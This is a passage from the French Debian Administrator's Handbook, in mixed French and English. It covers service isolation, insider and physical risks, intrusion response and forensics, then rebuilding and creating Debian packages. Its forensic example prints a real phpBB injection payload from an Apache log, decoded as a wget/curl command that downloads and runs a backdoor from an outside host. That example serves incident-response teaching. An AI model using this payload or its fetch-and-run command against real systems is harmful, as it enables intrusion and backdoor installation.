Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle ou un conteneur dédié, soit avec AppArmor/SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service.

14.6.5. Les utilisateurs sont des acteurs

Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité d'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc.

La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques.

DÉCOUVERTE autolog

Le paquet autolog fournit un logiciel déconnectant automatiquement les utilisateurs inactifs (après un délai configurable). Il tue aussi les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons).

14.6.6. Sécurité physique

Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux-mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des disques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle des machines ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique.

On peut aussi inclure sous cette bannière la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé.

14.6.7. Responsabilité juridique

En tant qu'administrateur, vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter .

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte root) grâce auquel il effacera ses propres traces.

14.7. En cas de piratage

Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements.

14.7.1. Détecter et constater le piratage

Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Un programme installé dans /var/tmp/ sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage.

Il s'agit là d'un simple exemple. De nombreux autres indices peuvent mettre en alerte un administrateur :

- une option d'une commande qui ne fonctionne plus (il vérifie alors la version du logiciel et elle ne correspond pas à celle installée d'après dpkg) ;

- une invite de connexion qui indique que la dernière connexion réussie est en provenance d'une machine roumaine ;

- une partition /tmp/ pleine (entraînant des erreurs) qui s'avère contenir des films pirates ;

- etc.

14.7.2. Mettre le serveur hors ligne

Dans l'immense majorité des cas, l'intrusion provient du réseau et la disponibilité du réseau est essentielle à l'attaquant pour atteindre ses objectifs (récupérer des données confidentielles, échanger des fichiers illégaux, masquer son identité en employant la machine comme relais intermédiaire…). Débrancher l'ordinateur du réseau empêchera l'attaquant d'arriver à ses fins au cas où il n'en aurait pas encore eu le temps.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see Section 14.7.3, « Préserver tout ce qui peut constituer une preuve », Section 14.7.5, « Analyser à froid » and Section 14.7.6, « Reconstituer le scénario de l'attaque »), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. Préserver tout ce qui peut constituer une preuve

Si l'on veut comprendre ce qui s'est passé et/ou si l'on veut pouvoir poursuivre les assaillants, il faut conserver une copie de tous les éléments importants : notamment le contenu du disque dur, la liste des processus en cours d'exécution et la liste des connexions ouvertes. Le contenu de la mémoire vive pourrait aussi être intéressant, mais il est assez rare que l'on exploite cette information.

Le stress du moment incite souvent les administrateurs à vérifier beaucoup de choses sur l'ordinateur incriminé, mais c'est une très mauvaise idée. Chaque commande exécutée est susceptible d'effacer des éléments de preuve. Il faut se contenter du minimum (netstat -tupan pour les connexions réseau, ps auxf pour la liste des processus, ls -alR /proc/[0-9]* pour quelques informations supplémentaires sur les programmes en cours d'exécution) et noter systématiquement ce que l'on fait.

ATTENTION Analyse à chaud

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

Si malgré tout une telle analyse doit être conduite, il convient d'employer des programmes que l'on sait être corrects. Il est possible d'avoir un CD-Rom de secours contenant des programmes sains, voire un partage réseau (en lecture seule). Toutefois, si le noyau est compromis, mêmes ces mesures ne seront pas forcément suffisantes.

Une fois sauvegardés les éléments « dynamiques » les plus importants, il faut réaliser une image fidèle du disque complet. Il est impossible de réaliser une telle image si le système de fichiers évolue encore. Il faut donc le remonter en lecture seule (read-only). Le plus simple est souvent de stopper le serveur (brutalement, après un sync) et de le démarrer sur un CD-Rom de secours. Une image de chaque partition peut alors être réalisée à l'aide du programme dd. Ces images peuvent être stockées sur un autre serveur (l'utilitaire nc est alors très pratique pour envoyer les données générées par dd d'une machine à une autre). Une autre solution, beaucoup plus simple, est de sortir le disque de la machine et de le remplacer par un neuf prêt à être réinstallé.

14.7.4. Réinstaller

Avant de remettre le serveur en ligne, il est indispensable de le réinstaller complètement. En effet, si la compromission était sévère (obtention des privilèges administrateur), il est presque impossible d'être certain d'avoir éliminé tout ce que l'attaquant a pu laisser derrière lui (portes dérobées notamment, backdoors en anglais). Une réinstallation complète apportera cette certitude. Bien entendu, il faut également installer toutes les dernières mises à jour de sécurité afin de colmater la brèche que l'attaquant a réussi à exploiter. Idéalement, l'analyse de l'attaque aura mis en lumière la faille et il sera possible de la corriger avec certitude (au lieu de simplement espérer que les mises à jour de sécurité seront suffisantes).

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Analyser à froid

Maintenant que le service est à nouveau fonctionnel, il est temps de se pencher sur les images disque du système compromis afin de comprendre ce qui s'est passé. Lorsqu'on monte l'image du disque, il faut prendre soin d'employer les options ro, nodev, noexec, noatime afin de ne pas modifier son contenu (y compris les horodatages des accès aux fichiers) et de ne pas exécuter par erreur des exécutables compromis.

Pour reconstituer efficacement le scénario d'une attaque, il faut chercher tous azimuts ce qui a été modifié et exécuté :

- L'analyse d'éventuels fichiers .bash_history est souvent très instructive;

- Il faut extraire la liste des fichiers récemment créés, modifiés et consultés;

- L'identification des programmes installés par l'attaquant est souvent possible à l'aide de la commande strings qui extrait les chaînes de caractères présentes dans un binaire;

- L'analyse des fichiers de traces de /var/log/ fournit souvent une chronologie;

- Enfin, des outils spécialisés permettent de récupérer le contenu de potentiels fichiers supprimés (notamment les fichiers de traces que les attaquants aiment à supprimer).

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see Section A.8, « Kali Linux »), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see Section A.6, « Grml »).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Reconstituer le scénario de l'attaque

Tous les éléments récoltés au cours de l'analyse doivent pouvoir s'emboîter comme dans un puzzle : la date de création des premiers fichiers suspects correspond souvent à des traces prouvant l'intrusion. Un petit exemple réel sera plus parlant qu'un long discours théorique.

La trace ci-dessous, extraite d'un fichier access.log de Apache, en est un exemple :

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

En décodant cette longue URL, il est possible de comprendre que l'attaquant a exécuté la commande PHP system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Effectivement, un fichier bd est disponible dans /tmp/. L'exécution de strings /mnt/tmp/bd renvoie entre autres PsychoPhobia Backdoor is starting.... Il s'agit donc d'une porte dérobée.

Peu de temps après, cet accès a été utilisé pour télécharger et installer un bot IRC qui s'est connecté à un réseau IRC underground. Il peut être contrôlé par le biais de ce protocole, notamment pour télécharger des fichiers puis les mettre à disposition. Ce logiciel dispose de son propre fichier de trace :

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Deux fichiers vidéo ont été déposés sur le serveur par l'intermédiaire de la machine 82.50.72.202.

En parallèle à cela, l'attaquant a téléchargé des fichiers supplémentaires /tmp/pt et /tmp/loginx. Une analyse avec strings permet de récupérer des chaînes comme Shellcode placed at 0x%08lx ou Now wait for suid shell.... Il s'agit de programmes exploitant des vulnérabilités locales pour obtenir des privilèges administrateur. Mais sont-ils parvenus à leur fin ? Selon toute vraisemblance (fichiers modifiés postérieurement à l'intrusion), non.

Dans cet exemple, tout le déroulement de l'intrusion a pu être reconstitué et l'attaquant a pu se servir du système compromis pendant 3 jours. Toutefois, le plus important dans cette reconstitution est que la vulnérabilité a été identifiée et a pu être corrigée sur la nouvelle installation.

Chapitre 15. Conception d'un paquet Debian

Manipuler régulièrement des paquets Debian provoque tôt ou tard le besoin de créer le sien ou d'en modifier un. Ce chapitre essaie de répondre à vos interrogations en la matière et fournit des éléments pour tirer le meilleur parti de l'infrastructure offerte par Debian. Qui sait, en ayant ainsi mis la main à la pâte, peut-être irez-vous plus loin et deviendrez-vous développeur Debian !

15.1. Recompiler un paquet depuis ses sources

Plusieurs éléments justifient la recompilation d'un paquet depuis ses sources. L'administrateur peut avoir besoin d'une fonctionnalité du logiciel qui implique de recompiler le programme en activant une option particulière ou souhaiter en installer une version plus récente que celle fournie dans sa version de Debian (dans ce cas, il recompilera un paquet plus récent récupéré dans la version Testing ou Unstable pour qu'il fonctionne parfaitement dans sa distribution Stable, opération appelée le rétroportage). On prendra soin de vérifier, avant de se lancer dans une recompilation, que personne d'autre ne s'en est déjà chargé ; on pourra vérifier en particulier sur la page dédiée du système de suivi de paquets.

→ https://tracker.debian.org/

15.1.1. Récupérer les sources

La reconstruction d'un paquet Debian commence par l'obtention de son code source. Le moyen le plus simple est d'utiliser la commande apt-get source nom_du_paquet. Cette commande nécessite une ligne deb-src dans le fichier /etc/apt/sources.list et des fichiers d'index à jour (c'est-à-dire apt-get update). Ces conditions devraient déjà être remplies si vous avez suivi les instructions du chapitre traitant de la configuration d'APT (voir la Section 6.1, « Renseigner le fichier sources.list »). Notez cependant que vous téléchargerez les paquets source de la version de Debian mentionnée dans la ligne deb-src.

Si vous souhaitez une version particulière, il vous faudra peut-être la télécharger manuellement depuis un miroir Debian ou depuis le site web. Cela implique de récupérer deux ou trois fichiers (d'extensions *.dsc — pour Debian Source Control — *.tar.comp et parfois *.diff.gz ou *.debian.tar.comp — comp pouvant prendre les valeurs gz, bz2 ou xz selon l'outil de compression employé), puis d’exécuter la commande dpkg-source -x fichier.dsc. Si le fichier *.dsc est disponible à un URL donné, on pourra même se simplifier la vie en utilisant dget URL. Cette commande (qui fait partie du paquet devscripts) récupère le fichier *.dsc à l'adresse indiquée, en analyse le contenu et récupère automatiquement le ou les fichiers qu'il référence. Après le téléchargement des fichiers, il vérifie l’intégrité des paquets en utilisant dscverify et extrait le paquet source (à moins que l'option -d ou --download-only soit spécifiée). Le trousseau de clés de Debian est nécessaire à moins que l’option -u soit indiquée.

15.1.2. Effectuer les modifications

Prenons le paquet samba pour exemple.

$ apt source samba

Reading package lists... Done

NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/samba-team/samba.git

Please use:

git clone https://salsa.debian.org/samba-team/samba.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 12.3 MB of source archives.

Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B]

Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB]

Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB]

Fetched 12.3 MB in 3s (4,582 kB/s)

dpkg-source: info: extracting samba in samba-4.13.13+dfsg

dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz

dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz

dpkg-source: info: using patch list from debian/patches/series

dpkg-source: info: applying 07_private_lib

dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch

dpkg-source: info: applying [...]

Le source du paquet est maintenant disponible dans un répertoire portant le nom du paquet source et sa version (samba-4.13.13+dfsg), nous pouvons nous y rendre pour y effectuer nos modifications.

La première modification à apporter est de changer le numéro de version du paquet pour distinguer les paquets recompilés des originaux fournis par Debian. Supposons que la version actuelle soit 2:4.13.13+dfsg-1~deb11u3 ; nous pouvons créer une version 2:4.13.13+dfsg-1~deb11u3+falcot1, ce qui désigne clairement l'origine du paquet. De cette manière, la version est supérieure à celle fournie par Debian et le paquet s'installera facilement en tant que mise à jour de l'original. Pour effectuer ce changement, il est préférable d'utiliser le programme dch (Debian CHangelog) du paquet devscripts.

$ cd 4.13.13+dfsg-1~deb11u3

$ dch --local +falcot

La dernière commande appelle un éditeur de texte (sensible-editor — il doit s’agir de votre éditeur favori s’il est mentionné dans les variables d’environnement VISUAL ou EDITOR ou l’éditeur par défaut sinon) pour permettre de documenter les différences apportées par cette reconstruction. Cet éditeur montre que dch a vraiment changé le fichier debian/changelog.

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make … or cmake … or …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages and debhelper(7) for explanations on how to achieve this).

Il convient parfois de s'occuper du fichier debian/control, qui renferme la description des paquets générés. Il peut être intéressant de la modifier pour qu'elle reflète les changements apportés. Par ailleurs, ce fichier contient aussi des champs Build-Depends qui donnent la liste des dépendances de génération du paquet. Celles-ci se rapportent souvent à des versions de paquets contenus dans la distribution d'origine du paquet source, qui ne sont peut-être pas disponibles dans la version utilisée pour la recompilation. Il n'existe pas de moyen automatique pour savoir si une dépendance est réelle ou si elle a été créée pour garantir que la compilation s'effectue bien avec les dernières versions d'une bibliothèque (c'est le seul moyen disponible pour forcer un autobuilder à recompiler le paquet avec une version prédéfinie d'un paquet — c'est pourquoi les mainteneurs Debian utilisent fréquemment ce procédé).

N'hésitez donc pas à modifier ces dépendances pour les assouplir si vous savez qu'elles sont trop strictes. La lecture d'éventuels fichiers documentant le mode de compilation du logiciel (souvent nommés INSTALL) vous sera sans doute utile pour retrouver les bonnes dépendances. Idéalement, il faudrait satisfaire toutes les dépendances avec les paquets disponibles dans la version utilisée pour la recompilation. Sans cela, on entre dans un processus récursif où il faut préalablement rétroporter les paquets donnés dans les champs Build-Depends avant de pouvoir compléter le rétroportage souhaité. Certains paquets, qui n'ont pas besoin d'être rétroportés, seront installés tels quels pour les besoins de la recompilation (c'est souvent le cas de debhelper). Cependant, le processus peut se compliquer rapidement si l'on n'y prend garde, aussi faut-il éviter autant que possible tout rétroportage non strictement nécessaire.

ASTUCE Installer les Build-Depends

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep package command.

15.1.3. Démarrer la recompilation

Toutes les modifications souhaitables étant apportées sur les sources, il faut maintenant régénérer le paquet binaire correspondant (fichier .deb). Tout ce processus de création est contrôlé par le programme dpkg-buildpackage.

Exemple 15.1. Recompilation d'un paquet

$ dpkg-buildpackage -us -uc

[...]

The previous command can fail if the Build-Depends field has not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time. The switch can still be very useful if you only want to create a source package, which is supposed to be passed to clean build environments as described in QUICK LOOK Building packages in chrooted and virtual environments.

The other options used in the above example make sure that neither the source package's .dsc (-us) nor the produced .changes file (-uc) get signed with the package builder's cryptographic key after the asuccessful build.

OUTIL fakeroot

Le processus de création de paquet, qui finalement se contente de rassembler dans une archive des fichiers existant localement (ou compilés), a besoin de créer des fichiers dont le propriétaire sera le plus souvent root. Pour éviter de compiler les paquets sous l'identité de l'administrateur, ce qui induirait des risques inutiles, on peut utiliser l'utilitaire nommé fakeroot. Lorsqu'il est utilisé pour lancer un programme, fakeroot laisse croire à ce programme qu'il tourne sous l'identité de root, et que les fichiers qu'il crée appartiennent également à l'administrateur. Lorsque le programme va créer l'archive qui deviendra le paquet Debian, il pourra ainsi y placer des fichiers appartenant à divers propriétaires. C'est pourquoi dpkg-buildpackage utilise par défaut fakeroot pour la préparation des paquets.

Notez qu'il ne s'agit que d'une impression donnée au programme lancé et qu'on ne peut donc pas utiliser cet outil pour obtenir des privilèges quelconques. Le programme tourne réellement sous l'identité de l'utilisateur qui lance fakeroot programme et les fichiers qu'il crée réellement continuent de lui appartenir.

More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK Building packages in chrooted and virtual environments

Building a package on an existing system, like a workstation or server, can pose several problems. Maybe the system has packages installed, that conflict with the build requirements. Or maybe it has packages (libraries, headers, etc.) installed, that the project to build is not supposed to use - e.g. from Testing, Unstable, or even from third parties. Also it might have packages installed, which are actually required for the build, but are not listed in debian/control. It is therefore a good practice to build a packages in “clean“ environments.

The sbuild, pbuilder, or cowbuilder programs (in the similarly named packages) allow building a Debian package in a chrooted environment. Each of them first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (/), using the chroot command, during the build process.

These tools allow the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and the chrooted environments can be running on the same machine using Unstable for package builds. Using these tools, it is also possible to build for a different distribution, like Ubuntu.

schroot, sbuild-shell, or pbuilder allow running a command or a login shell in a chrooted environment.

Sometimes it is not enough to build a package in a chrooted environment. This can be due to building for a different architecture where cross-compilation does not work, or due to the tools not being able to create a chrooted environment for the desired target system. Then one can create virtual machines to build the package there. These setups are usually more complex then the tools mentioned above, and rarely needed, so we will only mention this possibility without going into much detail. Check out Section 12.2, « Virtualisation » for an introduction into this topic.

15.2. Construire son premier paquet

15.2.1. Métapaquet ou faux paquet

Faux paquet et métapaquet se concrétisent tous deux par un paquet vide qui n'existe que pour les effets de ses informations d'en-têtes sur la chaîne logicielle de gestion des paquets.

The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

Le métapaquet existe en tant que collection de paquets par le biais de ses dépendances, que son installation installera donc toutes.

Pour créer ces deux types de paquets, on peut recourir aux programmes equivs-control et equivs-build (du paquet Debian equivs). La commande equivs-control fichier crée un fichier contenant des en-têtes de paquet Debian qu'on modifiera pour indiquer le nom du paquet souhaité, son numéro de version, le nom du mainteneur, ses dépendances, sa description. Tous les autres champs dépourvus de valeur par défaut sont optionnels et peuvent être supprimés. Les champs Copyright, Changelog, Readme et Extra-Files ne sont pas standards pour un paquet Debian. Propres à equivs-build, ils disparaîtront des en-têtes réels du paquet généré.

Exemple 15.2. Fichier d'en-têtes d'un faux paquet libxml-libxml-perl

Section: perl

Priority: optional

Standards-Version: 4.5.1

Package: libxml-libxml-perl

Version: 2.0207-1

Maintainer: Raphael Hertzog <hertzog@debian.org>

Depends: libxml2 (>= 2.9.10)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

of the module has been manually compiled &amp; installed in the

site_perl directory.

L'étape suivante consiste à générer le paquet Debian en invoquant la commande equivs-build fichier. Le tour est joué : le paquet est disponible dans le répertoire courant et vous pouvez désormais le manipuler comme tous les autres paquets Debian.

$ equivs-build file

equivs-build control

dpkg-buildpackage: info: source package libxml-libxml-perl

dpkg-buildpackage: info: source version 2.0207-1

dpkg-buildpackage: info: source distribution unstable

dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org>

dpkg-buildpackage: info: host architecture amd64

dpkg-source --before-build .

debian/rules clean

dh clean

dh_clean

debian/rules binary

dh binary

dh_update_autotools_config

dh_autoreconf

create-stamp debian/debhelper-build-stamp

dh_prep

dh_install

dh_installdocs

dh_installchangelogs

dh_perl

dh_link

dh_strip_nondeterminism

dh_compress

dh_fixperms

dh_missing

dh_installdeb

dh_gencontrol

dh_md5sums

dh_builddeb

dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'.

dpkg-genbuildinfo --build=binary

dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes

dpkg-genchanges: info: binary-only upload (no source code included)

dpkg-source --after-build .

dpkg-buildpackage: info: binary-only upload (no source included)

The package has been created.

Attention, the package has been created in the current directory,

not in ".." as indicated by the messaige above!

15.2.2. Simple archive de fichiers

Les administrateurs de Falcot SA souhaitent créer un paquet Debian pour déployer facilement un ensemble de documents sur un grand nombre de machines. Après avoir étudié le guide du nouveau mainteneur, l'administrateur en charge de cette tâche se lance dans la création de son premier paquet.

→ https://www.debian.org/doc/manuals/maint-guide/index.fr.html

Il commence par créer un répertoire falcot-data-1.0, qui abritera le paquet source qu'il a choisi de réaliser. Ce paquet se nommera donc falcot-data et portera le numéro de version 1.0. L'administrateur place ensuite les fichiers des documents qu'il souhaite distribuer dans un sous-répertoire data. Il invoque la commande dh_make (du paquet dh-make) pour ajouter les fichiers requis par le processus de génération d'un paquet (tous contenus dans un sous-répertoire debian) :

$ cd falcot-data-1.0

$ dh_make --native

Type of package: (single, indep, library, python)

[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog

Email-Address       : hertzog@debian.org

Date                : Sat, 26 Feb 2021 13:02:06 +0100

Package Name        : falcot-data

Version             : 1.0

License             : gpl3

Package Type        : indep

Are the details correct? [Y/n/q]

Currently there is not top level Makefile. This may require additional tuning

Done. Please edit the files in the debian/ subdirectory now.

$

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all in debian/control). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The library type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

ASTUCE Nom et adresse électronique du mainteneur

La plupart des programmes qui recherchent vos nom et adresse électronique de responsable de paquet utilisent les valeurs contenues dans les variables d'environnement DEBFULLNAME et DEBEMAIL ou EMAIL. En les définissant une fois pour toutes, vous vous éviterez de devoir les saisir à de multiples reprises. Si votre shell habituel est bash, il suffit pour cela d'ajouter les deux lignes suivantes dans votre fichier ~/.bashrc (en remplaçant évidemment ces valeurs par celles qui vous correspondent !) :

export EMAIL="hertzog@debian.org"

export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file is not used nor created anymore. Instead of defining the debhelper compatibility level as a number in this file, it is now defined as a build-dependency on the debhelper-compat virtual package in the Build-Depends file in debian/control.

The copyright file must contain information about the authors of the documents included in the package, and the related copyright and license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default format used for this file is defined in the Format field.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from UNRELEASED or unstable to the target release name is enough.

The control file must also be updated: the Section field can be changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package. If the package does not require to run any commands as root (see OUTIL fakeroot), the Rules-Requires-Root field can be left as is.

Exemple 15.3. Le fichier control

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <hertzog@debian.org>

